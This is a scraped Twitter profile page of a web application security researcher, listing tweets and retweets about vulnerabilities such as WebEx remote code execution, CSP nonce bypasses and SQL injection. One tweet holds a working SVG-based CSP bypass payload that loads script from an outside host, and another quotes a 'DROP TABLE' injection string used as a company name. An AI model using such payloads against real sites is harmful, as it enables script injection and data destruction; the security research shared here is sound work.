ጳውሎስ 파울로스

@PaulosYibelo

specializing in web application security, shiro & kitfo, bitcoin, oauth... hacker! landlord :D

paulosyibelo.com
ಅಕ್ಟೋಬರ್ 2014 ಸಮಯದಲ್ಲಿ ಸೇರಿದ್ದಾರೆ
17 ಫೋಟೋಗಳು ಅಥವಾ ವೀಡಿಯೋಗಳು ಫೋಟೋಗಳು ಮತ್ತು ವೀಡಿಯೋಗಳು

ಟ್ವೀಟ್‌ಗಳು

@PaulosYibelo ತಡೆಹಿಡಿಯಲಾಗಿದೆ

ನೀವು ಖಚಿತವಾಗಿಯೂ ಈ ಟ್ವೀಟ್‌ಗಳನ್ನು ನೋಡಲು ಬಯಸುವಿರಾ? ಟ್ವೀಟ್‌ಗಳನ್ನು ನೋಡುವುದು @PaulosYibelo ಅವರನ್ನು ತಡೆತೆರವುಗೊಳಿಸುವುದಿಲ್ಲ.

  1. ಪಿನ್ ಮಾಡಿದ ಟ್ವೀಟ್
    ಮಾರ್ಚ್ 31,2015

    Exploiting Most PHP upload boxes with CVE-2015-2348

    2 replies 76 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 84ಇಷ್ಟಗಳು
  2. ಜನ 26

    Releasing… ==== A polyglot inception written in four file formats – all at the same time: = JPEG = CSS = JS = HTML

    6 replies 79 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 97ಇಷ್ಟಗಳು
  3. ಜನ 28

    Coming across an XSS vulnerability at Google sites is wrong I expected

    11 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 42ಇಷ್ಟಗಳು
  4. ಜನ 26

    Another Cisco WebEx 1.0.5 RCE (Arbitrary Command Execution in via Module Whitelist Bypass) found by

    3 replies 91 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 71ಇಷ್ಟಗಳು
  5. ಜನ 23

    There was a secret URL in WebEx that allowed any website to run arbitrary code. ¯\_(ツ)_/¯

    41 replies 1,676 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 1,268ಇಷ್ಟಗಳು
  6. ಜನ 20

    Super interesting work by on CSP bypasses!

    Wrote up a summary of some of the content security policy related work we have been up to on
    1 reply 3 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 8ಇಷ್ಟಗಳು
  7. ಜನ 17

    remote code execution

    25 replies 261 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 320ಇಷ್ಟಗಳು
  8. ಜನ 14

    The bug is finally fixed: How to inject JS in a static PDF to steal it without user interaction

    1 reply 115 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 157ಇಷ್ಟಗಳು
  9. ಜನ 12

    Best pull request comment ever?

    11 replies 275 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 320ಇಷ್ಟಗಳು
  10. ಜನ 8

    Hacker tip: always be coding - it'll broaden your perspective on how software is build and learn you new tricks how to get around defenses.

    3 replies 30 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 108ಇಷ್ಟಗಳು
  11. ಜನ 7

    GitHub Enterprise SQL Injection - Incorrect usage of Rails ActiveRecord leads to SQL Injection

    9 replies 165 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 243ಇಷ್ಟಗಳು
  12. ಜನ 6

    [ 2013 ] NSA: We made a database of everyone. Wikileaks: THIS IS AN OUTRAGE! [ 2017 ] Wikileaks: We're gonna make a database of everyone.

    12 replies 387 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 406ಇಷ್ಟಗಳು
  13. ಜನ 2

    he was ahead of his time

    233 replies 48,653 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 95,205ಇಷ್ಟಗಳು
  14. ಜನ 3

    Kaspersky identified SSL certificates by a 32bit fingerprint (!!!), making it trivial for MITM to create collisions.

    24 replies 718 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 709ಇಷ್ಟಗಳು
  15. ಡಿಸೆಂ 31,2016

    Two days ago someone registered a British company called `; DROP TABLE "COMPANIES";-- LTD`. Oh well...

    7 replies 337 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 314ಇಷ್ಟಗಳು
  16. ಜನ 1

    hah, my CSP nonce bypass:

    3 replies 18 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 57ಇಷ್ಟಗಳು
  17. ಜನ 1

    <animate> works as well of course <svg><animate href= attributeName=href to=//14.rs /><script id=x src=x></script

    1 reply 3 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 17ಇಷ್ಟಗಳು
  18. ಡಿಸೆಂ 31,2016

    Another type of CSP nonce bypass. FF+Chrome. Works with traditional reflected XSS. Happy new year!

    6 replies 77 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 107ಇಷ್ಟಗಳು
  19. ಡಿಸೆಂ 30,2016

    Throwing 1 more in there ;) Framework zend-mail CVE-2016-10034

    4 replies 70 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 75ಇಷ್ಟಗಳು
  20. ጳውሎስ 파울로스 ಹಿಂಬಾಲಿಸಿದ್ದಾರೆ , , and 6 others
    • Devdatta Akhawe
      @frgx

      Security Engineer at Dropbox. Previously, Berkeley CS Grad. Opinions are my own, and mostly wrong. Him/he.

    • Andrew Leonov
      @4lemon

      Web Application Security Researcher

  21. ಡಿಸೆಂ 29,2016

    Amazing Row Hammer presentation by creates factorizable SSH keys with bit flips.

    5 replies 133 ಮರುಟ್ವೀಟಿಸುವಿಕೆಗಳು 201ಇಷ್ಟಗಳು

@PaulosYibelo ಅವರು ಇನ್ನೂ ಟ್ವೀಟ್ ಮಾಡಿಲ್ಲ.

ಲೋಡಿಂಗ್ ಸಮಯ ಸ್ವಲ್ಪ ತೆಗೆದುಕೊಳ್ಳುತ್ತಿರುವಂತೆನಿಸುತ್ತದೆ.

Twitter ಸಾಮರ್ಥ್ಯ ಮೀರಿರಬಹುದು ಅಥವಾ ಕ್ಷಣಿಕವಾದ ತೊಂದರೆಯನ್ನು ಅನುಭವಿಸುತ್ತಿರಬಹುದು. ಮತ್ತೆ ಪ್ರಯತ್ನಿಸಿ ಅಥವಾ ಹೆಚ್ಚಿನ ಮಾಹಿತಿಗೆ Twitter ಸ್ಥಿತಿಗೆ ಭೇಟಿ ನೀಡಿ.

    ಇದನ್ನೂ ಸಹ ನೀವು ಇಷ್ಟಪಡಬಹುದು

    ·